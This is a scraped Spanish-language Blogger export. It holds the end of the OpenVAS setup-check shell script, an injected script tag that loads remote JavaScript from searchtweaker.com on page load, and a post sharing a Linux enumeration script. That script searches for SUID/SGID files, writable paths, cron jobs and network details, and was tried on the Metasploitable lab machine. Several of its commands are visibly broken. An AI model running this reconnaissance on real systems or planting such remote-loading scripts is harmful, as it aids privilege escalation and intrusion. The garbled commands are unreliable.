if [ $HAVE_SQLITE -eq 1 ]
then
echo "Checking OpenVAS Manager database revision ..." >> $LOG
TASKSDBREV=`sqlite3 $TASKSDB "select value from meta where name='database_version';"`
if [ -z $TASKSDBREV ]
then
log_and_print "ERROR: Could not determine database revision, database corrupt or in invalid format."
log_and_print "FIX: Delete database at $TASKSDB and rebuild it."
check_failed
else
log_and_print "OK: OpenVAS Manager database is at revision $TASKSDBREV."
fi
echo "Checking database revision expected by OpenVAS Manager ..." >> $LOG
MANAGERDBREV=`openvasmd --version | grep "Manager DB revision" | sed -e "s/.*\ //"`
if [ -z $MANAGERDBREV ]
then
log_and_print "ERROR: Could not determine database revision expected by OpenVAS Manager."
log_and_print "FIX: Ensure OpenVAS Manager is installed correctly."
check_failed
else
log_and_print "OK: OpenVAS Manager expects database at revision $MANAGERDBREV."
fi
if [ $TASKSDBREV -lt $MANAGERDBREV ]
then
log_and_print "ERROR: Database schema is out of date."
log_and_print "FIX: Run 'openvasmd --migrate'."
check_failed
else
log_and_print "OK: Database schema is up to date."
fi
echo "Checking OpenVAS Manager database (NVT data) ..." >> $LOG
DBNVTCOUNT=`sqlite3 $TASKSDB "select count(*) from nvts;"`
if [ $DBNVTCOUNT -lt 20000 ]
then
log_and_print "ERROR: The number of NVTs in the OpenVAS Manager database is too low."
log_and_print "FIX: Make sure OpenVAS Scanner is running with an up-to-date NVT collection and run 'openvasmd --rebuild'."
check_failed
else
log_and_print "OK: OpenVAS Manager database contains information about $DBNVTCOUNT NVTs."
fi
fi
echo "Checking xsltproc presence ..." >> $LOG
XSLTPROC=`type xsltproc 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find xsltproc binary, most report formats will not work."
log_and_print "SUGGEST: Install xsltproc."
else
log_and_print "OK: xsltproc found."
fi
echo "" >> $LOG
echo "Step 3: Checking OpenVAS Administrator ... "
echo "Checking presence of OpenVAS Administrator ..." >> $LOG
openvasad --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS Administrator (openvasad) found."
log_and_print "FIX: Please install OpenVAS Administrator."
check_failed
fi
echo "" >> $LOG
VERSION=`openvasad --version | head -1 | sed -e "s/OpenVAS Administrator //"`
if [ `echo $VERSION | grep "^$ADMINISTRATOR_MAJOR\.$ADMINISTRATOR_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS Administrator too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS Administrator $ADMINISTRATOR_MAJOR.$ADMINISTRATOR_MINOR."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS Administrator is present in version $VERSION."
echo "Checking if users exist ..." >> $LOG
USERCOUNT=`openvasad -c "list_users" | sed -e "/^$/d" | wc -l`
if [ $USERCOUNT -eq 0 ]
then
log_and_print "ERROR: No users found. You need to create at least one user to log in."
log_and_print " It is recommended to have at least one user with role Admin."
log_and_print "FIX: Create a user using 'openvasad -c 'add_user' -n <name> --role=Admin'"
check_failed
else
log_and_print "OK: At least one user exists."
fi
echo "" >> $LOG
echo "Checking if at least one admin user exists ..." >> $LOG
ADMINEXISTS=`ls $STATEDIR/users/*/isadmin 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "ERROR: No admin user found. You need to create at least one admin user to log in."
log_and_print "FIX: Create a user using 'openvasad -c 'add_user' -n <name> -r Admin'"
check_failed
else
log_and_print "OK: At least one admin user exists."
fi
echo "" >> $LOG
echo "Step 4: Checking Greenbone Security Assistant (GSA) ... "
echo "Checking presence of Greenbone Security Assistant ..." >> $LOG
gsad --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No Greenbone Security Assistant (gsad) found."
log_and_print "FIX: Please install Greenbone Security Assistant."
check_failed
fi
echo "" >> $LOG
VERSION=`gsad --version | head -1 | sed -e "s/Greenbone Security Assistant //"`
if [ `echo $VERSION | grep "^$GSA_MAJOR\.$GSA_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: Greenbone Security Assistant too old or too new: $VERSION"
log_and_print "FIX: Please install Greenbone Security Assistant $GSA_MAJOR.$GSA_MINOR."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: Greenbone Security Assistant is present in version $VERSION."
echo "Step 5: Checking OpenVAS CLI ... "
if [ "$MODE" != "server" ]
then
echo "Checking presence of OpenVAS CLI ..." >> $LOG
omp --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS CLI (omp) found."
log_and_print "FIX: Please install OpenVAS CLI."
check_failed
fi
echo "" >> $LOG
VERSION=`omp --version | head -1 | sed -e "s/OMP Command Line Interface //"`
if [ `echo $VERSION | grep "^$CLI_MAJOR\.$CLI_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS CLI too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS CLI $CLI_MAJOR.$CLI_MINOR."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS CLI version $VERSION."
else
log_and_print "SKIP: Skipping check for OpenVAS CLI."
fi
echo "Step 6: Checking Greenbone Security Desktop (GSD) ... "
if [ "$MODE" != "server" ]
then
echo "Checking presence of Greenbone Security Desktop ..." >> $LOG
DISPLAY=fake gsd --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No Greenbone Security Desktop (gsd) found or too old."
log_and_print "FIX: Please install Greenbone Security Desktop 1.1.0."
check_failed
fi
echo "" >> $LOG
VERSION=`gsd --version | head -1 | sed -e "s/Greenbone Security Desktop //"`
if [ `echo $VERSION | grep "^$GSD_MAJOR\.$GSD_MINOR" | wc -l` -ne "1" ]
then
# a special exception rule for v4 where also another release is OK
if [ $VER -eq "4" -a `echo $VERSION | grep "^1\.1" | wc -l` -ne "1" ]
then
log_and_print "ERROR: Greenbone Security Desktop too old or too new: $VERSION"
log_and_print "FIX: Please install Greenbone Security Desktop $GSD_MAJOR.$GSD_MINOR."
check_failed
fi
fi
echo "" >> $LOG
log_and_print "OK: Greenbone Security Desktop is present in Version $VERSION."
else
log_and_print "SKIP: Skipping check for Greenbone Security Assistant."
fi
echo "Step 7: Checking if OpenVAS services are up and running ... "
echo "Checking netstat presence ..." >> $LOG
NETSTAT=`type netstat 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find netstat binary, checks of the OpenVAS services are disabled."
log_and_print "SUGGEST: Install netstat."
HAVE_NETSTAT=0
else
log_and_print "OK: netstat found, extended checks of the OpenVAS services enabled."
HAVE_NETSTAT=1
fi
echo "" >> $LOG
if [ $HAVE_NETSTAT -eq 1 ]
then
netstat -A inet -ntlp 2> /dev/null >> $LOG
OPENVASSD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep openvassd | awk -F\ '{print $4}' | awk -F: '{print $1}'`
OPENVASSD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep openvassd | awk -F\ '{print $4}' | awk -F: '{print $2}'`
OPENVASMD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep openvasmd | awk -F\ '{print $4}' | awk -F: '{print $1}'`
OPENVASMD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep openvasmd | awk -F\ '{print $4}' | awk -F: '{print $2}'`
OPENVASAD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep openvasad | awk -F\ '{print $4}' | awk -F: '{print $1}'`
OPENVASAD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep openvasad | awk -F\ '{print $4}' | awk -F: '{print $2}'`
GSAD_HOST=`netstat -A inet -ntlp 2> /dev/null | grep gsad | awk -F\ '{print $4}' | awk -F: '{print $1}'`
GSAD_PORT=`netstat -A inet -ntlp 2> /dev/null | grep gsad | awk -F\ '{print $4}' | awk -F: '{print $2}'`
case "$OPENVASSD_HOST" in
"0.0.0.0") log_and_print "OK: OpenVAS Scanner is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "OK: OpenVAS Scanner is running and listening only on the local interface." ;;
"") OPENVASSD_PROC=`ps -Af | grep "openvassd: waiting for incoming connections" | grep -v grep | wc -l`
if [ $OPENVASSD_PROC -eq 0 ]
then
log_and_print "ERROR: OpenVAS Scanner is NOT running!" ;
log_and_print "FIX: Start OpenVAS Scanner (openvassd)." ;
else
log_and_print "WARNING: OpenVAS Scanner seems to be run by another user!" ;
log_and_print "FIX: If intended this is OK (e.g. as root). But we can not determine the port." ;
log_and_print "FIX: You might face subsequent problems if not intended." ;
fi
OPENVASSD_PORT=-1 ;;
esac
case $OPENVASSD_PORT in
-1) ;;
9391) log_and_print "OK: OpenVAS Scanner is listening on port 9391, which is the default port." ;;
*) log_and_print "WARNING: OpenVAS Scanner is listening on port $OPENVASSD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure OpenVAS Scanner is listening on port 9391." ;;
esac
case "$OPENVASMD_HOST" in
"0.0.0.0") log_and_print "OK: OpenVAS Manager is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "WARNING: OpenVAS Manager is running and listening only on the local interface. This means that you will not be able to access the OpenVAS Manager from the outside using GSD or OpenVAS CLI."
log_and_print "SUGGEST: Ensure that OpenVAS Manager listens on all interfaces." ;;
"") log_and_print "ERROR: OpenVAS Manager is NOT running!" ; log_and_print "FIX: Start OpenVAS Manager (openvasmd)." ; OPENVASMD_PORT=-1 ;;
esac
case $OPENVASMD_PORT in
-1) ;;
9390) log_and_print "OK: OpenVAS Manager is listening on port 9390, which is the default port." ;;
*) log_and_print "WARNING: OpenVAS Manager is listening on port $OPENVASMD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure OpenVAS Manager is listening on port 9390." ;;
esac
case "$OPENVASAD_HOST" in
"0.0.0.0") log_and_print "OK: OpenVAS Administrator is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "OK: OpenVAS Administrator is running and listening only on the local interface." ;;
"") log_and_print "ERROR: OpenVAS Administrator is NOT running!" ; log_and_print "FIX: Start OpenVAS Administrator (openvasad)." ; OPENVASAD_PORT=-1 ;;
esac
case $OPENVASAD_PORT in
-1) ;;
9393) log_and_print "OK: OpenVAS Administrator is listening on port 9393, which is the default port." ;;
*) log_and_print "WARNING: OpenVAS Administrator is listening on port $OPENVASAD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure OpenVAS Administrator is listening on port 9393." ;;
esac
case "$GSAD_HOST" in
"0.0.0.0") log_and_print "OK: Greenbone Security Assistant is running and listening on all interfaces." ;;
"127.0.0.1") log_and_print "WARNING: Greenbone Security Assistant is running and listening only on the local interface. This means that you will not be able to access the Greenbone Security Assistant from the outside using a web browser."
log_and_print "SUGGEST: Ensure that Greenbone Security Assistant listens on all interfaces." ;;
"") log_and_print "ERROR: Greenbone Security Assistant is NOT running!" ; log_and_print "FIX: Start Greenbone Security Assistant (gsad)." ; GSAD_PORT=-1 ;;
esac
case $GSAD_PORT in
-1) ;;
80|443|9392) log_and_print "OK: Greenbone Security Assistant is listening on port $GSAD_PORT, which is the default port." ;;
*) log_and_print "WARNING: Greenbone Security Assistant is listening on port $GSAD_PORT, which is NOT the default port!"
log_and_print "SUGGEST: Ensure Greenbone Security Assistant is listening on one of the following ports: 80, 443, 9392." ;;
esac
if [ $OPENVASSD_PORT -eq -1 ] || [ $OPENVASMD_PORT -eq -1 ] || [ $OPENVASAD_PORT -eq -1 ] || [ $GSAD_PORT -eq -1 ]
then
check_failed
fi
fi
echo "Step 8: Checking nmap installation ..."
echo "Checking presence of nmap ..." >> $LOG
VERSION=`nmap --version | awk '/Nmap version/ { print $3 }'`
if [ $? -ne 0 ]
then
log_and_print "WARNING: No nmap installation found."
log_and_print "SUGGEST: You should install nmap for comprehensive network scanning (see http://nmap.org)"
else
if [ `echo $VERSION | grep "5\.51" | wc -l` -ne "1" ]
then
log_and_print "WARNING: Your version of nmap is not fully supported: $VERSION"
log_and_print "SUGGEST: You should install nmap 5.51."
else
log_and_print "OK: nmap is present in version $VERSION."
fi
fi
echo "" >> $LOG
echo "Step 9: Checking presence of optional tools ..."
echo "Checking presence of pdflatex ..." >> $LOG
PDFLATEX=`type pdflatex 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find pdflatex binary, the PDF report format will not work."
log_and_print "SUGGEST: Install pdflatex."
HAVE_PDFLATEX=0
else
log_and_print "OK: pdflatex found."
HAVE_PDFLATEX=1
fi
echo "" >> $LOG
if [ $HAVE_PDFLATEX -eq 1 ]
then
echo "Checking presence of LaTeX packages required for PDF report generation ..." >> $LOG
PDFTMPDIR=`mktemp -d -t openvas-check-setup-tmp.XXXXXXXXXX`
TEXFILE="$PDFTMPDIR/test.tex"
cat <<EOT > $TEXFILE
\documentclass{article}
\pagestyle{empty}
%\usepackage{color}
\usepackage{tabularx}
\usepackage{geometry}
\usepackage{comment}
\usepackage{longtable}
\usepackage{titlesec}
\usepackage{chngpage}
\usepackage{calc}
\usepackage{url}
\usepackage[utf8x]{inputenc}
\DeclareUnicodeCharacter {135}{{\textascii ?}}
\DeclareUnicodeCharacter {129}{{\textascii ?}}
\DeclareUnicodeCharacter {128}{{\textascii ?}}
\usepackage{colortbl}
% must come last
\usepackage{hyperref}
\definecolor{linkblue}{rgb}{0.11,0.56,1}
\definecolor{inactive}{rgb}{0.56,0.56,0.56}
\definecolor{openvas_debug}{rgb}{0.78,0.78,0.78}
\definecolor{openvas_false_positive}{rgb}{0.2275,0.2275,0.2275}
\definecolor{openvas_log}{rgb}{0.2275,0.2275,0.2275}
\definecolor{openvas_hole}{rgb}{0.7960,0.1137,0.0902}
\definecolor{openvas_note}{rgb}{0.3255,0.6157,0.7961}
\definecolor{openvas_report}{rgb}{0.68,0.74,0.88}
\definecolor{openvas_user_note}{rgb}{1.0,1.0,0.5625}
\definecolor{openvas_user_override}{rgb}{1.0,1.0,0.5625}
\definecolor{openvas_warning}{rgb}{0.9764,0.6235,0.1922}
\hypersetup{colorlinks=true,linkcolor=linkblue,urlcolor=blue,bookmarks=true,bookmarksopen=true}
\usepackage[all]{hypcap}
%\geometry{verbose,a4paper,tmargin=24mm,bottom=24mm}
\geometry{verbose,a4paper}
\setlength{\parskip}{\smallskipamount}
\setlength{\parindent}{0pt}
\title{PDF Report Test}
\pagestyle{headings}
\pagenumbering{arabic}
\begin{document}
This is a test of the PDF generation capabilities of your OpenVAS installation. Please ignore.
\end{document}
EOT
pdflatex -interaction batchmode -output-directory $PDFTMPDIR $TEXFILE > /dev/null 2>&1
if [ ! -f "$PDFTMPDIR/test.pdf" ]
then
log_and_print "WARNING: PDF generation failed, most likely due to missing LaTeX packages. The PDF report format will not work."
log_and_print "SUGGEST: Install required LaTeX packages."
else
log_and_print "OK: PDF generation successful. The PDF report format is likely to work."
fi
if [ -f "$PDFTMPDIR/test.log" ]
then
cat $PDFTMPDIR/test.log >> $LOG
fi
rm -rf $PDFTMPDIR
fi
echo "Checking presence of ssh-keygen ..." >> $LOG
SSHKEYGEN=`type ssh-keygen 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find ssh-keygen binary, LSC credential generation for GNU/Linux targets will not work."
log_and_print "SUGGEST: Install ssh-keygen."
HAVE_SSHKEYGEN=0
else
log_and_print "OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work."
HAVE_SSHKEYGEN=1
fi
echo "" >> $LOG
if [ $HAVE_SSHKEYGEN -eq 1 ]
then
echo "Checking presence of rpm ..." >> $LOG
RPM=`type rpm 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find rpm binary, LSC credential package generation for RPM and DEB based targets will not work."
log_and_print "SUGGEST: Install rpm."
HAVE_RPM=0
else
log_and_print "OK: rpm found, LSC credential package generation for RPM based targets is likely to work."
HAVE_RPM=1
fi
echo "" >> $LOG
if [ $HAVE_RPM -eq 1 ]
then
echo "Checking presence of alien ..." >> $LOG
ALIEN=`type alien 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find alien binary, LSC credential package generation for DEB based targets will not work."
log_and_print "SUGGEST: Install alien."
HAVE_ALIEN=0
else
log_and_print "OK: alien found, LSC credential package generation for DEB based targets is likely to work."
HAVE_ALIEN=1
fi
echo "" >> $LOG
fi
fi
echo "Checking presence of nsis ..." >> $LOG
NSIS=`type makensis 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find makensis binary, LSC credential package generation for Microsoft Windows targets will not work."
log_and_print "SUGGEST: Install nsis."
HAVE_NSIS=0
else
log_and_print "OK: nsis found, LSC credential package generation for Microsoft Windows targets is likely to work."
HAVE_NSIS=1
fi
echo "" >> $LOG
echo ""
echo "It seems like your OpenVAS-$VER installation is OK."
echo ""
echo "If you think it is not OK, please report your observation"
echo "and help us to improve this check routine:"
echo "http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss"
echo "Please attach the log-file ($LOG) to help us analyze the problem."
echo ""</pre>
<pre>############################################################################################################################################# </pre>
<pre></pre>
<pre><i><b><span style="color: red;">Algunos links que les será de mucha ayuda:</span></b></i></pre>
<pre><i><b>http://www.openvas.org ...................................Proyecto Open VAS</b></i></pre>
<pre><i><b>http://www.openvas.org/openvas-nvt-feed.html .............Open VAS feed Services</b></i></pre>
<pre><i><b>http://www.greenbone.net/solutions/gbn_feed.de.html.........Greenbone Security Feed</b></i></pre>
<pre><i><b>http://www.greenbone.net/technology/openvas.net.html........Greenbone Open VAS</b></i></pre>
<pre><i><b>http://www.greenbone.net/technology/tool_architecture.de.html..Greenbone Security Assistant</b></i></pre>
<pre><i><b>http://www.greenbone.net/technology/gse.de.html.............Greenbone Security Feed </b></i></pre>
<pre></pre>
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script>Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-20556178537285897572013-01-07T12:25:00.004+01:002013-01-07T12:25:48.286+01:00Un Script Básico para recopilar información<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Hoy nuevamente retomo mis clases del MUSI por lo que decidí ir a dar una vuelta por la universidad esta mañana, bueno para ser sincero fui a fisgonear :p .Pude percatarme que existía un ambiente de preocupación y de una concentración fatal ..."Horror la Biblioteca anda a full" no sólo están los mismo chicos de siempre,... Hasta que ví la programación de los exámenes para esta semana ...</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Ahi les dejo un sencillo script de consola , para recopilar información básica del sistema. Los resultados se redirigen aun fichero de texto, dicho fichero permitirá concentrarnos en el análisis de la información que hemos obtenido, en vez de escribir una sucesión interactiva de comandos find (y comandos man para buscar los parametros de find ). </div>
<div style="text-align: justify;">
2>/dev/null unida a cada comando es una redirección que elimina las advertencias que genera el comando find de "Permiso denegado" haciendo así el informe más fácil de leer y analizar.</div>
<br />
********************************** Código ***************************************<br />
<span>#!/bin/sh<br />
echo version de la distribucion y kernel<br />
cat /etc/issue<br />
uname -a<br />
<br />
echo sistemas de archivos activos<br />
mount -l<br />
<br />
echo configuracion de red<br />
ifconfig -a<br />
cat/etc/hosts<br />
arp<br />
<br />
echo herramientas de desarrollo disponibles<br />
which gcc<br />
which g++<br />
which python<br />
<br />
echo paquetes instalados (ubuntu)<br />
dpkg -l<br />
<br />
echo servicios<br />
net stat -tulnpe<br />
echo procesos<br />
ps -aux<br />
<br />
echo tareas programadas<br />
find /etc/cron* -ls 2>/dev/null<br />
find /var/spool/cron* -ls 2>/dev/null <br />
<br />
echo ficheros con permisos de lectura en /etc<br />
find /etc -user `id -u` -perm -u=r -o -group `id -g` -perm -g=r -o -perm -o=r -ls 2>/dev/null<br />
<br />
<br />
echo ficheros SUID & GUID con permisos de escritura<br />
find / -o -group <br />
`id -g` -perm -g=w -perm -u -o -perm -o=w -perm -u -o -perm -o=w -perm -g=s -ls 2>/dev/null<br />
<br />
echo ficheros SUID & GUID<br />
find / -type f -perm -u=s -o -type f -perm --ls 2>/dev/null<br />
<br />
echo ficheros con permiso de escritura fuera de HOME<br />
mount -l find / -path "$HOME" -prune -o -path "/proc"<br />
-prune -o \ (! -type l \) \ (-user `id -u` -perm -u=w -o -group `id -g` -perm -g=w -o -perm -o=w\) -ls2>/dev/null <br />
</span><br />
**********************************************************************************<br />
<br />
Al ejecutar el script en Metasploitable, se obtiene muchísima información . Aprobarlo se ha dicho....<br />
<br />
<div style="text-align: justify;">
<b><span style="color: red;">Bueno tengo que continuar estudiando, pero sin antes hacer un ANUNCIO MUY IMPORTANTE , aquellos que estén interesados de querer brindar sus conocimientos a la comunidad para la elaboración de un proyecto entorno a la tecnologia HONEYPOT, sean bienvenidos!!! y los contactos son con mi persona al correo arthur.huamani@opendeusto.es</span></b></div>
<div style="text-align: justify;">
<b><span style="color: red;">AGUR....</span></b></div>
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0